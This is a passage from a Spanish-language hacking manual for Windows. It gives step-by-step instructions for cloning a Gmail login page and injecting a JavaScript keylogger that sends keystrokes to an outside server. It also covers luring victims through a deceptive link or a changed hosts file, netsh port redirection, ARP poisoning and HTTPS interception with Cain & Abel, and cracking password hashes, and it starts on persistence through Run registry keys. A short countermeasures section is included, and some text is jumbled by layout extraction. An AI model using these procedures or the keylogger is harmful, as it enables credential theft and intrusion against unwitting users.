inyectar el script para capturar el teclado. Sin embargo, una opcin es presentar un sitio que se parezca al
original, para que el usuario crea que se encuentra en la pgina verdadera de login. Un usuario generalmente est
muy atento al diseo y reconoce fcilmente un sitio web mal hecho. Adems, si es concienzudo, ver o controlar
hacia dnde apunta el envo del formulario, ponindose encima del botn enviar antes de hacer clic en l. El
objetivo es, por lo tanto, disponer de una copia conforme al original y de no modificar los parmetros de envo del
formulario.
a. Descargar el sitio web

Para descargarse el sitio web completo, usaremos un programa muy sencillo y eficaz. El programa se llama
WinHtTrack y sirve para descargar una pgina o un sitio web completo con las imgenes, las hojas de estilo, los
JavaScript, etc. Recrea los enlaces y, por lo tanto, el sitio web es completamente navegable.

Puede descargarlo en el siguiente enlace: http://www.httrack.com/

Una vez instalado el programa, le permite empezar un nuevo proyecto de copia. Vamos a tomar como ejemplo
un sitio pblico conocido de mensajera.

D un nombre al proyecto, as como al directorio donde se guardar el sitio web.

Aada la URL del sitio web que se va a copiar en el campo Direccin Web.

Las opciones le permiten limitar la profundidad del sitio que se va a copiar, las extensiones de los ficheros, as
como fijar otras limitaciones interesantes. Le aconsejamos que limite la profundidad de la copia para evitar
descargar todo Internet en su equipo.
Haga clic en Finalizar para empezar la descarga.

Una vez acabada la copia, haga clic en el botn Hojear la web.


La pgina local ha sido perfectamente copiada. El formulario enva bien las informaciones de autenticacin al
destino habitual.

b. Modificar el sitio

Solo queda colocar la trampa en la pgina para obtener las informaciones de autenticacin. Para ello, podramos
reenviar el formulario a una pgina que registre el nombre de usuario y la contrasea, pero no sera muy
discreto. En vez de esto, vamos a aadir el cdigo JavaScript que registra las teclas presionadas.

Acceda al directorio donde se encuentran los ficheros de la pgina y abra la pgina index.

Es posible que el cdigo HTML redirija al navegador hacia otro emplazamiento que representa la verdadera
pgina de login, en nuestro caso, Service-Login49.html:

Modifiq
<HEAD> ue el
fichero S
<TITLE>Page has moved</TITLE>
erviceL
ogin49.
</HEAD>
html pa
<BODY> ra
aadir el
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=ServiceLogined49.html"> cdigo

<A HREF="ServiceLogined49.html"><B>Click here...</B></A>

</BODY>

JavaScript creado en el apartado Script que permite capturar el teclado en una pgina web justo despus de la
etiqueta HEAD y antes de la etiqueta TITLE.
<head>

<script language="javascript">

var teclas=;

document.onkeypress = function(e)

get = window.event?event:e;

tecla= get.keyCode?get.keyCode:get.charCode;

tecla= String.fromCharCode(tecla);

teclas+=tecla;

window.setInterval(function()

new Image().src = http://server/Default.aspx?teclas=+teclas;

teclas= ;

}, 1000);

</script>

<meta charset="utf-8">

<title>Gmail</title>

Las teclas presionadas en la autenticacin se envan al servidor, y despus se redirige al usuario a la web
verdadera y directamente autenticado.
5. Redireccin de puertos y escucha de la red

Si un servidor web con una pgina de autenticacin fuese alojado en nuestro equipo, el hecho de escuchar el
trfico de la red gracias a un sniffer nos permitira disponer de la contrasea del usuario, y esto, sin acceder al
formulario o a la base de datos de la aplicacin. Podramos crear entonces un formulario web falso, como se
explica en el captulo Desarrollar sus propias herramientas de hacking. Disponemos tambin de una manera ms
sencilla que no es muy conocida. Vamos a solicitar al usuario que se conecte al formulario original, pero desviando
el trfico de red por nuestro equipo. Escucharemos la red con un sniffer y tendremos entonces acceso a las
informaciones de autenticacin sin tener que imitar la pgina de login original.

a. Configuracin de la redireccin

Vamos a redirigir un puerto de nuestra eleccin hacia el destino. En nuestro caso, el destino ser el servidor de
intranet que dispone del formulario web donde el usuario se autenticar. Para ello, debemos conocer nuestra IP,
as como la IP y el puerto del destino.

Ejecute ipconfig en una ventana CMD para obtener su IP.

Haga un ping al destino para obtener la IP del servidor. El puerto es en general el 80 para un servicio web.

Vamos a redirigir nuestro puerto 8080 hacia el puerto 80 del servidor.

Ejecute el comando con privilegios elevados.

netsh interface portproxy set v4tov4 listenport=8080

listenaddress=192.168.33.130 connectaddress=192.168.33.11

connectport=80 protocol=tcp

Este comando nos permite redirigir el trfico que llega al puerto 8080 de nuestra IP hacia el servidor de destino
en el puerto 80.

A partir de ahora, todo el trfico que llega a nuestro puerto 8080 se enviar hacia el formulario web normal.
b. Enviar el objetivo a nuestro sitio web

Debemos obligar ahora a la persona objetivo a que se conecte al servidor pasando por nuestra mquina. Para
ello, puede pillarla poniendo un enlace en un sitio web que deber codificarse de la siguiente manera para que
sea ms complicado verle:

<a href="http://intranet"

onclick="javascript:window.location.href =

http://192.168.1.37:8080;" >intranet</a>

Utilizando una URL del estilo, el usuario ser engaado fcilmente. El enlace que aparece es intranet y, aunque
se mantenga sobre l, la URL que aparece no hace dudar al usuario de que el destino es el correcto. Ser
redirigido hacia el destino despus de hacer clic en el enlace.

Podramos modificar tambin el fichero hosts de la vctima para que, si escribe la direccin del sitio web en su
navegador, el trfico llegue aun as a nuestro PC. Para ello, debemos primero redirigir nuestro puerto 80 hacia el
servidor verdadero. Despus enviaremos un programa a la vctima que modificar la resolucin de nombres en
su PC. La redireccin es la misma que en el caso anterior, salvo por el puerto de escucha.

netsh interface portproxy set v4tov4 listenport=80

listenaddress=192.168.1.37 connectaddress=192.168.1.56

connectport=80 protocol=tcp

Cree un nuevo fichero bat o vbs para modificar el fichero hosts del objetivo. Cuidado!! La modificacin del
fichero hosts de un equipo objetivo necesita los permisos de administradores. Esta es la razn de que no sea
una tcnica a la que se deba dar prioridad.

El fichero hosts se encuentra en la ruta C:\Windows\System32\Drivers\etc\.

El fichero deber tener la siguiente lnea:

A
192.168.1.37 Intranet

partir de ese momento, todo el trfico hacia la intranet ser reenviado a nuestro equipo. Desde Windows Vista,
Microsoft utiliza por defecto la resolucin de nombres en el siguiente orden:
1. Fichero hosts

2. Servidor DNS

3. Servidor WINS

4. Fichero de nombres NetBIOS

Tambin es posible modificar las entradas en el servidor DNS, pero esto parece complicado, ya que primero se
debera piratear el servidor, que resulta ser en la mayora de los casos el controlador de dominio.

Mejor aadimos una entrada similar. Puede renombrar su PC, lo que necesita permisos de modificacin sobre los
objetos equipo en el Active Directory. Un buen truco consiste en crear una mquina virtual y
llamarla Intranet0 o algo parecido. Es posible que esta operacin baste para aadir el nombre al servidor DNS,
ya que el cliente DNS de Windows intenta registrarse en el servidor DNS definido al arrancar la conexin. Se
puede tambin forzar el comando si el equipo no se ha registrado en el dominio con:

Ipconfig /registerdns

La seguridad por defecto de la zona DNS almacenada en el Active Directory no permite aadir un registro no
protegido.

Entonces se debe aadir el PC al dominio. Haga clic con el botn derecho en las propiedades del equipo y
elija Modificar los parmetros - Identidad de red. Seleccione Este equipo forma parte de una red
organizativa y lo utilizo para conectarme a otros equipos en el trabajo.

Haga clic en Mi organizacin utiliza una red con un dominio.


Inserte sus informaciones de conexin al dominio.
No es necesario ser administrador del dominio para realizar esta accin. Por defecto, un usuario autenticado
puede aadir hasta 10 equipos al dominio.

c. Escuchar y analizar el trfico de red

Ahora que el trfico del usuario pasa por nuestro equipo, solo nos queda guardarlo y analizarlo. Necesitaremos
un sniffer como Wireshark o Microsoft Network Monitor para llevar a cabo esta fase.

Arranque el monitor de red Microsoft o Wireshark.

Compruebe sus modificaciones accediendo a la URL de su PC desde un equipo distinto al suyo con el puerto
elegido, por ejemplo: http://192.168. 1.37:8080. Debera ver el formulario del servidor remoto. Inserte un nombre
de usuario y una contrasea de prueba, como admin y passtest.
Pare la grabacin de los paquetes y observe los que ya ha recibido. Para ayudarse, puede filtrar el resultado de
Wireshark con el puerto de recepcin. Escriba Tcp.port eq 8080. Analice los paquetes hasta encontrar el
pertinente. En el ejemplo, vemos, en un paquete de 192.168.1.79 hacia 192.168.1.37 en el puerto 8080, una
peticin de tipo HTTP POST con los parmetros&txtusuario=admin&txtpassword=passtest&.
La redireccin de puertos nos ha permitido presentar el formulario original al usuario, pero hacindole pasar por
nuestro sniffer.

6. ARP poisoning en Windows

Lo ideal al realizar un ataque es que el trfico pase por el equipo del atacante, pero hasta ahora hemos tenido que
pedir indirectamente al usuario que venga hasta nosotros. El ARP poisoning nos permitir enviar el trfico a
nuestro PC sin que el usuario tenga la ms mnima idea de lo que realmente pasa. Es una de las tcnicas ms
potentes de este libro, ya que permite obtener informaciones de la vctima de manera transparente. Es adems
relativamente discreta y fcil de poner en marcha. Pero entonces, cmo funciona y que es ARP?

a. ARP, qu es?

ARP est por debajo de IP en el modelo OSI. Hace el enlace entre IP, con la que una aplicacin comunica, y el
hardware que recibe/enva la comunicacin. Cuando un paquete IP parte hacia un equipo remoto, la resolucin
ARP se usa para saber qu tarjeta de red debe recibir el paquete. Si mi PC comunica con un equipo en la misma
red que el mo, tendr en la cach ARP la IP y la direccin MAC del equipo remoto. Si comunico con un equipo
que no se encuentra en mi misma red, la cach guardar solamente la MAC de la puerta de enlace.

Puede consultar la cach ARP con el comando arp -a.

Se ven tambin las direcciones de difusin.

Es posible forzar el registro de una entrada en la cach para redirigir una IP hacia la misma tarjeta de red de
destino. Esto se llama una entrada persistente, pero eso necesita permisos de administradores en el equipo
remoto. Aunque no resulta de mucho inters para nosotros, presentamos el comando que permite realizar esta
accin en la medida en que desee engaar una aplicacin.

Para saber nuestra direccin MAC, teclee ipconfig /all.


Despus, ejecute el comando siguiente en el equipo objetivo, reemplazando la direccin MAC por la suya:

arp -s 192.168.1.90 00-aa-00-62-c6-09

Ahora, todo el trfico inicialmente previsto para 192.168.1.90 ser redirigido hacia su equipo. Solo queda
aspirar el trfico con Wireshark o Microsoft Network Monitor, como se ha visto en el apartado anterior.

Esta tcnica necesita la intervencin del usuario, que adems debe ejecutar su aplicacin trampa con permisos
de administradores. Vamos a simplificar el ataque para que no tenga que intervenir.

b. ARP poisoning con Cain & Abel

Primero, debe comprender cmo funciona la resolucin ARP. Al solicitar una conexin, por ejemplo un navegador
web hacia un servidor web local, ARP va a resolver la direccin MAC del servidor desde su cach, si existe la
entrada. Si no existe ninguna entrada, ARP va a lanzar un paquete broadcast para que el equipo de destino
conteste. Es all cuando interviene el envenenamiento de la cach ARP o ARP poisoning. El programa enva
una respuesta a una peticin de resolucin al equipo objetivo antes de que el equipo autntico pueda responder.
El equipo objetivo registra entonces una direccin MAC incorrecta para resolver una direccin IP dada. Todo el
trfico enviado del equipo objetivo a la IP del servidor ser en verdad reenviado al equipo pirata, y despus
redirigido hacia el servidor correcto. Entre tanto, el trfico ha podido ser almacenado y analizado.

Vamos a usar una herramienta de pirateo que se puede instalar en Windows, WinPcap.

Debe instalar primero una versin reciente de WinPcap si usa Windows 8. Encontrar el fichero de instalacin
en: http://www.winpcap.org/
Descargue e instale Cain & Abel en la URL: http://www.oxid.it/downloads/ca_setup.exe
Una vez Cain & Abel instalado, ejecute en la lnea de comandos el comando siguiente para que la herramienta
pueda funcionar correctamente:
Desacti
Netsh int ip set global taskoffload=disable ve su

cortafuegos en lo posible. Si una poltica de grupo le impide parar el servicio del cortafuegos, vaya al captulo
Superar las restricciones de software para saber cmo atajar el problema.
Ejecute Cain & Abel y active la escucha de la red con el segundo botn por la izquierda. Acceda a la
pestaa Sniffer.
Pulse el botn + y el programa le propondr escanear la red para buscar los equipos presentes. Marque la
opcin All Tests en la ventana que aparece.

El escner debera identificar los equipos de su red:

Haga clic ahora en el botn APR situado en la parte inferior de la ventana.

Haga clic en la zona de arriba, all donde hay lneas para que el + se active. Haga clic en el +.

La ventana que aparece le permite elegir desde y hacia qu equipo se redirigir el trfico.

Elija el equipo fuente y el de destino cuyo el trfico ser enrutado hacia el suyo.
El envenenamiento debe empezar hasta conseguir un resultado similar a la imagen siguiente. Esto indica que
el trfico pasa efectivamente por su equipo.

Si va a la pestaa Passwords que hay abajo, encontrar las contraseas detectadas. Si el usuario visita un sitio
web cifrado, el programa crea un certificado y lo enva al usuario. Vemos a continuacin una contrasea HTTP y
dos contraseas IMAP registradas por el programa.

En caso de que no ocurra nada, puede cambiar la tarjeta de red de escucha en las opciones.

En el men, haga clic en Configure y elija la interfaz de red correcta.

Tambin en las opciones, puede aadir el nombre de los campos de usuario y contrasea de los formularios web
rellenados por el usuario para que el programa los reconozca como tales.
c. Configurar Cain & Abel para analizar el trfico HTTPS

El programa toma en cuenta el trfico HTTPS. Sin embargo, por defecto, reenva un certificado firmado por la
aplicacin. El servidor remoto no es, por lo tanto, validado por el navegador y el usuario se dar cuenta
rpidamente del problema. Para subsanarlo, Cain & Abel dispone de la posibilidad de insertar un certificado raz
con su clave privada. El resultado es mgico, los certificados enviados a la vctima son validados si el usuario
tiene en su almacn el certificado raz.

Para configurar un certificado raz, primero debe exportarlo desde la autoridad de certificacin. Despus acceda
al men de opciones haciendo clic en Configure, y acceda a la pestaa Certificate Spoofing. Debe convertir el
certificado raz que ha exportado desde la autoridad de certificacin. Para ello, haga clic en Certificate
conversion y, cuando se solicite, escriba la contrasea especificada en el momento de la exportacin.

Ahora puede seleccionar el nuevo certificado .crt creado por Cain & Abel.
En adelante, cuando un navegador pida un certificado a Cain & Abel, este le enviar un certificado firmado por
una autoridad que reconoce.

Las etapas de exportacin de un certificado, as como de la instalacin del certificado pblico raz en el equipo
objetivo, se describen en el apartado Introduccin a los certificados y a HTTPS.

d. Usar Cain & Abel para encontrar la contrasea de un usuario del dominio

Una vez que el trfico es enviado a Cain & Abel, este es capaz de mostrar todas las informaciones interesantes.
Cuando redirigimos el trfico de un PC que pertenezca al dominio, obtendremos entonces el hash de la
contrasea del usuario de este equipo.

Encontrar estas informaciones en la pestaa Sniffer - Passwords.

Para encontrar la contrasea, haga clic con el botn derecho en el usuario y despus en Send to Cracker. Vaya
despus a la pestaa Cracker.

Si el campo LM Hash tiene un valor, entonces ser muy fcil encontrar la contrasea. Si no, quedar la
posibilidad de romperla por fuerza bruta, con un diccionario o simplemente probando contraseas al azar.
Veremos otras opciones de esta herramienta en el apartado siguiente.
7. Software y herramientas para romper las contraseas

a. Tipos de cifrado

Existen dos grandes familias para proteger las contraseas almacenadas en un sistema. La primera es el cifrado
usando una clave simtrica (la misma clave cifra y descifra) con algoritmos como DES y 3DES. La segunda es el
cifrado con claves asimtricas (una clave distinta para el cifrado y el descifrado) con algoritmos como RSA y
Diffie-Hellman. Este ltimo tipo es muy usado: la seguridad del protocolo HTTPS y los certificados estn basados
en estos algoritmos.

El resumen no consiste en cifrar una contrasea, sino en calcular un hash gracias a algoritmos como SHA1, MD4
o MD5. Es una tcnica muy utilizada, ya que la contrasea no puede ser descifrada como tal. Adems, si una
contrasea fuese cifrada en vez de resumida, la clave de descifrado debera forzosamente estar almacenada en
el sistema, lo que representara un punto de fallo en la seguridad. El hash es irreversible. Pero no es porque no
se puede descifrar que no se puede encontrar la contrasea.

Para encontrar una contrasea cifrada con DES o 3DES, lo ms sencillo no consiste en romperla directamente,
sino en encontrar y tomar la clave de descifrado. Para ello se debe observar y analizar el funcionamiento de los
programas que la utilizan. Puede consultar la primera parte de este captulo, donde podr ver cmo encontrar y
descifrar las claves Wifi almacenadas en su equipo.

Las contraseas de la mayora de los sistemas operativos, tambin de los sistemas Windows, estn protegidas.
No guardan la contrasea en texto plano o con cifrado reversible. Desde Windows Vista, el sistema guarda
solamente el hash de la contrasea en NTLM, y no en LM, como se haca antes. Despus el hash se cifra con una
clave simtrica, la del sistema (syskey). Dispone de ms informacin al respecto en el apartado Cmo
recuperar una contrasea desde la red?

Cmo funciona un inicio de sesin si la contrasea no puede descifrarse?

En el inicio de una sesin local, se pide al usuario que indique su nombre y su contrasea, que entonces es
transformada en Unicode y despus resumida con MD4. Seguidamente, se compara a la que se encuentra
almacenada. Y es de la misma manera como puede recuperarse una contrasea a partir de su hash:
comparando el hash MD4 de una posible contrasea con el hash de la contrasea almacenada.

b. Principios para romper las contraseas

Existe multitud de herramientas que permiten romper contraseas de Windows. Algunas son gratuitas y otras,
no. Estos programas utilizan tres tipos de tcnicas. Si recogemos nuestra extraccin, constataremos que
ninguna contrasea LM es almacenada. Algunas herramientas de extraccin dan un valor LM, pero ser siempre
el mismo para todas las contraseas.

Admin :1006 :No Password :E19CCF75EE54E06B6A5907AF13CEF42

Para probar una contrasea y para entender mejor el funcionamiento de estas herramientas, vamos a tomar un
programa de ejemplo que se puede descargar con sus fuentes en nuestro sitio web. Este programa permite
insertar una contrasea en texto plano, transformarla en Unicode y resumir el resultado con MD4. Podremos
probar por lo tanto la validez de una contrasea.
En el ejemplo utilizamos la contrasea P@ssw0rd como la contrasea recuperada por el dump. Encontrar en
el captulo Desarrollar sus propias herramientas de hacking el cdigo .NET de un programa que permite romper
una contrasea numrica de hasta 6 cifras. El programa se basa en el principio defuerza bruta para comparar.

c. Fuerza bruta

La primera tcnica para romper es la fuerza bruta. El programa prueba combinaciones, una tras otra, basndose
en una serie, que transforma en Unicode y que resume de la misma manera que el sistema operativo usa para
almacenar una contrasea. Despus compara los resultados del resumen con la contrasea que fue recuperada
anteriormente con la herramienta de extraccin.

Cain & Abel da la posibilidad de romper contraseas recuperadas desde la red, desde la SAM o importando un
fichero dump.

Vaya a la pestaa Cracker y haga clic en +.

Elija el usuario y haga clic con el botn derecho del ratn en el usuario. Seleccione, de entre las posibilidades, el
medio que se va a utilizar para romper la contrasea.
Para una contrasea de la SAM de Windows, use Brute-Force Attack - NTLM Hashes. Puede tambin probar
una contrasea, como en el programa anterior para el que se suministran las fuentes.

En un ataque por fuerza bruta, puede elegir los caracteres, as como la longitud mxima y mnima de la
contrasea que se va a probar.

Para saber cmo configurar el programa, puede inspirarse en la poltica de seguridad aplicada a su equipo. La
encontrar abriendo gpedit.msc. Para ms informacin sobre este asunto, vaya el captulo Bsqueda de
informacin.

d. Diccionario

La segunda tcnica es similar, tambin representa un ataque de fuerza bruta. No se basa en series, sino en
diccionarios, donde las informaciones estn en texto plano y las contraseas son ledas, trasformadas en
Unicode y resumidas para despus compararlas a las extradas del sistema.

Cain & Abel permite tambin el uso de un diccionario. Uno de ellos se suministra con el programa en la siguiente
ruta: C:\Program Files (x86)\Cain\Wordlists\Wordlist.txt

Puede crear su propio diccionario partiendo de programas que generan palabras o frases para hacer una lista
adaptada a un contexto.
e. Rainbow table

La ltima tcnica es un poco diferente. Se basa en una especie de base de datos que almacena hashes y sus
contraseas correspondientes. A esta tabla se le llama Rainbow table.

Descargue e instale 0phcrack. Es un programa gratuito de la empresa suiza Objectif Scurit. La encontrar en
el siguiente enlace: http://ophcrack.sourceforge.net/

Al instalarla, seleccione la descarga de las tablas gratuitas para Windows Vista.

Una vez las tablas descargadas e instaladas, para extraer las contraseas de la SAM, haga clic enLoad - Local
SAM with samdump2. Es posible extraer la SAM de un equipo remoto.

A continuacin puede intentar romper las contraseas. Cuidado! Las tablas gratuitas no contienen todas las
posibilidades. Es posible comprar las tablas completas segn le sea necesario. Puede consultarlo en el sitio web
de Objectif Scurit. La ventaja de esta solucin es que resulta muy rpido encontrar una contrasea, si lo
comparamos con la tcnica de fuerza bruta.

Cain & Abel permite tambin romper contraseas utilizando sus propias rainbow tables con la ayuda
deWinRtGen, que se instala con este.

Encontrar el programa en la ruta: C:\Program Files (x86)\Cain\Winrtgen\WinRtGen.exe

Podr constatar que con 12 GB de datos cubrir el 100% de las contraseas de hasta 5 caracteres, siendo estos
caracteres los ms frecuentemente usados.

Constatamos tambin que se necesitan ms de 35 TB para romper el 99,99% de contraseas de 8 caracteres.

Las contraseas numricas de hasta 7 caracteres no necesitan de ms 6 MB, pero aun as requieren 58 minutos
de clculo. Esto le merece la pena?
Una vez las tablas creadas, basta con seleccionarlas en el men contextual.

f. Usar SQL

Tambin puede crear sus propias bases de datos con SQL para realizar su programa. El lenguaje SQL permite
calcular un hash MD4, pero tambin permite MD5, SHA1, as como el clculo de otros algoritmos usados para
proteger las contraseas. Puede gestionar tambin el almacenamiento y la bsqueda.
g. On-line

Existen servicios web que proponen la bsqueda de contraseas desde un hash.

http://crackstation.net es uno de ellos. Basta con buscar NTLM crack online en Google.

h. Usando la tarjeta grfica

Un ltimo programa muy eficaz con fuerza bruta est disponible en el siguien-te
enlace:http://www.golubev.com/hashgpu.htm

Se llama IGHASHGPU. Este programa usa la potencia de clculo de su tarjeta grfica. La rapidez de respuesta
se decuplica.

El
ighashgpu.exe -h:9D4518F84296B9CE26D02F229870D2D4 -t:md4

programa no soporta, desgraciadamente, algunas tarjetas grficas ATI ni NVIDIA. Por el contrario, puede tener
varias tarjetas soportadas instaladas a la vez.
****************************************************************

*** MD4/MD5/SHA1 GPU Password Recovery v0.70.48.4 ***

*** For ATI RV 7X0 cards and nVidia CUDA ones (G80+) ***

*** (c) 2009-2010 Ivan Golubev, http://golubev.com ***

*** see "readme.htm" for more details ***

****************************************************************

*** Any commercial use of this program is strictly forbidden ***

*************************************************************

Found 2 CAL device(s)

Found 1 CUDA device(s)

Starting brute-force attack, Charset Len = 36, Min passlen = 4,

Max passlen = 7

Charset (unicode -> 0) [abcdefghijklmnopqrstuvwxyz0123456789]

Charset in HEX: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71

72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39

Starting from [aaaa]

Hash type: MD5, Hash: cbe1d6d5800ec1e03a5f2a64882a0d41

Were running at ATI and NVIDIA GPUs simultaneously. It isnt that

common situation, so some issues possible.

Device #0: [RV830] 850.00 Mhz 800 SP

Device #1: [RV7x0] 750.00 Mhz 640 SP

Device #2: [GeForce 8600 GT] 1188.00 Mhz 32 SP

Hardware monitoring disabled.

CURPWD: 66owsnc DONE: 51.02% ETA: 13s CURSPD:

2756.0M=1646.0M+1017.4M+92.6M

Found password: [roger15], HEX: 72 6f 67 65 72 31 35

Processed 42 228 252 672 passwords in 16s.

Thus, 2 731 452 307 password(s) per second in average.

En el ejemplo anterior, vemos que con tres tarjetas grficas es posible probar 2 731 452 307 contraseas MD5
en 1 segundo.
8. Contramedidas

Solamente es posible romper una contrasea una vez la hayamos recuperado. Por lo tanto, debemos impedir
absolutamente esta recuperacin. Para ello puede activar NAP (Network Access Protection), que debera
garantizar que el antivirus y el cortafuegos estn activados y actualizados.

Active tambin IPsec con NAP. Esto impedir a un equipo que no se encuentre en el dominio comunicarse con los
equipos protegidos. As, el trfico no podr ser interceptado. Si un usuario redirige el trfico cifrado hacia su
equipo usando la redireccin por puerto o por ARP spoofing, no podr descifrarlo, ni modificarlo si IPsec est
activado. ARP spoofing puede ser detectado o bloqueado usando switchs capaces de ver una modificacin no
habitual en el emparejamiento direccin IP/direccin MAC. Queda tambin la posibilidad de registrar
estticamente en los servidores las entradas de la tabla ARP IP/MAC con el comando arp, pero esto resulta muy
engorroso y poco eficaz.

El proxy de los clientes debe ser configurado mediante una directiva de grupo para que el usuario no pueda
modificarla. Los scripts de una pgina web que capturan la interaccin con el teclado son complicados de detectar.
Conviene, por lo tanto, sensibilizar a los usuarios sobre las webs falsas y explicarles cmo detectarlas. Debe
activar HTTPS en sus servidores web, incluidos los de la intranet. De lo contrario, una simple redireccin de puerto
permitira a un usuario recuperar contraseas en texto plano. El hecho de que un usuario no pueda usar Netsh, la
lnea de comandos o que no sea administrador de su equipo le impedir que configure la redireccin de puerto con
Netsh, aunque sigue siendo posible realizarla con PowerShell.

Los sitios webs internos, as como los externos, deben probarse con herramientas de auditora con el fin de
detectar posibles vulnerabilidades XSS, inyeccin SQL, CMD, etc. Para ello, puede usar herramientas como W3af
(http://w3af.org) o Nikto (http://www.cirt.net/Nikto2), que son gratuitas.

Introduccin a .NET
Desde 2001, Microsoft ha introducido .NET, un framework que no cesa de evolucionar para llegar, en el momento de
realizar este libro, a la versin 4.5. .NET cumple varios objetivos para Microsoft. El primero es entregar un conjunto
de clases compatibles con todas las versiones de sus sistemas operativos. En efecto, un programa desarrollado
en .NET se puede ejecutar tanto en Windows XP como en Windows 8, mientras el framework est instalado en el
equipo. En Windows Vista, .NET 2.0 est integrado. Windows 7 integra las versiones 2 y 3.5, y Windows 8, la
versin 4.5. La segunda motivacin es dar a los desarrolladores clases, funciones y propiedades compatibles entre
varios lenguajes. Por defecto, Microsoft propone varios lenguajes, como C++, VB.NET, J# y, el ms utilizado, C#.
Esto es posible gracias a la compilacin llevada a cabo en .NET. En efecto, el compilador transforma el cdigo VB,
C#, etc., en MSIL (Microsoft Intermediate Language). Solo se crea el lenguaje mquina en el momento de la
ejecucin y esta transformacin concierne nicamente a las partes del cdigo utilizadas por el programa. Es el JIT
(Just In Time compiler) el que se ocupa de esto. Otra ventaja reside en que su programa no necesita en general
ninguna DLL, ya que todas las funciones estn integradas en el framework y tienen, por lo tanto, poco peso para
unas posibilidades casi infinitas.

La siguiente imagen presenta la pila del framework con los avances, dependiendo de la versin.
Microsoft propone una herramienta muy potente, Visual Studio, para desarrollar sus aplicaciones Windows,
Windows Phone o web. Este programa permite corregir los errores tipogrficos y propone una escritura intuitiva, un
debugger y la compilacin simplificada, aunque aada referencias o use webservices.

Existen versiones gratuitas de Visual Studio y SQL Server. Las versiones gratuitas estn limitadas en las
posibilidades de conexin y de gestin de bases de datos, en el tipo de desarrollo (por ejemplo, el desarrollo de
servicios de Windows solo est integrado a partir de la versin Profesional de pago). Existen otras pequeas
limitaciones, pero, en general, las versiones gratuitas son suficientes para programar nuestras herramientas de
hacking. Encontrar los programas en el siguiente enlace: http://www.visualstudio.com/es-es/visual-studio-
homepage-vs.aspx

1. Cmo compilar su programa sin Visual Studio?

En la empresa, no siempre es posible instalar un software como Visual Studio aunque este sea gratuito. Sobre
todo si, para funcionar, necesita permisos de administrador local. Evidentemente, si dispone de un PC en casa,
puede instalarlo y despus llevar su programa a la empresa. Pero este escenario no se da siempre; por ejemplo,
en un escritorio remoto o en un equipo que no le permite importar un fichero. Felizmente para nosotros, Visual
Studio no es necesario para compilar cdigo .NET. Los compiladores para VB, JScript y C# estn instalados con la
versin .NET de su sistema operativo. En Windows 7, encontrar el compilador de C# que usaremos en el
directorio siguiente para arquitecturas x86: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

Y para las versiones de 64 bits: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

Es posible que su equipo sea actualizado por su administrador e integre, por lo tanto, la ltima versin del
framework.

En Windows 8, no encontrar la versin 2 instalada por defecto. Si desea utilizar dicha versin, debe aadirla
desde la consola de instalacin/desinstalacin de programas. Windows 8 tiene instalada, por el contrario, la
versin 4.5, lo que nos permitir compilar nuestros ejemplos. Encontrar el compilador en el directorio siguiente
para arquitecturas x86: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Y para las versiones de 64 bits: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Si utiliza funciones especficas para un tipo de procesador y tiene como objetivo un servidor 2008 R2 o un
servidor 2012, acurdese de compilar con la versin de 64 bits para estar seguro de que se ejecute
correctamente en el objetivo.

Para escribir su aplicacin, puede usar el Bloc de notas y guardar su cdigo en un fichero de texto.

Una vez creado el documento, podr compilarlo de la siguiente manera:


Abra una ventana de comandos ejecutando cmd.exe o cree un acceso directo si no tiene permisos para
ejecutar cmd.
Acceda al directorio donde se encuentra el framework:
Ejecute el
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727

compilador con los siguientes parmetros:

csc /out:c:\temp\app.exe /target:winexe c:\temp\fichero.txt

Explicacin:

csc.exe es el compilador C#.

/out permite dar la ruta donde se almacenar la aplicacin compilada.

Despus tiene eleccin en cuanto a la salida:

/target :winexe crea una aplicacin del tipo Windows Forms.

/target :exe crea una aplicacin de consola. Es la salida por defecto.

/target :library crea un fichero DLL.

El ltimo parmetro es el fichero fuente, que en nuestro caso es fiche-ro.txt.

/win32icon:fichero.ico permite aadir un icono a su aplicacin.

/platform:x86 permite especificar que la aplicacin solo funciona en una arquitectura x86. Por defecto, se
utiliza anycpu. Anycpu significa que la aplicacin se ejecutar sin importar el procesador.

Existen otros parmetros y los encontrar ejecutando CSC.exe / ?.

Si no tiene permisos para abrir una ventana de comandos, no se preocupe. Un acceso directo le permitir realizar
la compilacin igual de fcil.

Cree un nuevo acceso directo apuntando al compilador con los parmetros:


Modifique la ruta del directorio Iniciar en para que los ficheros temporales se almacenen en un directorio donde
tenga permisos de escritura; en el ejemplo C:\temp.

Haga doble clic en su acceso directo y su programa se compilar.

Como habr constatado, resulta muy sencillo compilar un programa desde un fichero de texto. Gracias a sus
nuevos conocimientos, podr modificar una aplicacin para que compile en directo, teniendo en cuenta la
configuracin y las propiedades intrnsecas del objetivo.

Los ejemplos que siguen han sido probados en Windows 8 Pro. Es posible que algunas lneas de cdigo deban
modificarse para que funcione en otras versiones de Windows.

Forzar la ejecucin de una aplicacin


Hacer que un usuario o un administrador ejecute una vez una aplicacin trampa es factible. Pero pedir ms veces a
una misma persona ejecutar una aplicacin trampa es arriesgado, ya que la vctima se percatar de que aqu pasa
algo. Se arriesga a que la falten excusas. Lo ideal es que su aplicacin sea capaz de arrancar remota o
automticamente, lo que provocar su ejecucin sin necesidad de intervencin por parte del usuario.

El arranque automtico de una aplicacin puede hacerse con diferentes tcnicas. Vamos a analizarlas juntos.
Algunas necesitan una configuracin con permisos de administradores o de sistema, otras son posibles con
solamente permisos de usuario. La diferencia reside en el dominio de aplicacin. Un cambio con los permisos de
usuario solo afectar al usuario objetivo, lo que resulta suficiente en la mayora de los casos para obtener
informaciones deseadas.
1. Los medios clsicos

El arranque automtico de un programa modificando el sistema operativo con permisos de administradores puede
hacerse de manera clsica:

Aadiendo un fichero o un acceso directo en el directorio:


Aadiend
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp o su
aplicacin
a la siguiente clave de registro:
En
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run un

sistema de 64 bits, la clave siguiente tambin se puede usar:

Su
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

configuracin debe prepararse como en este ejemplo:

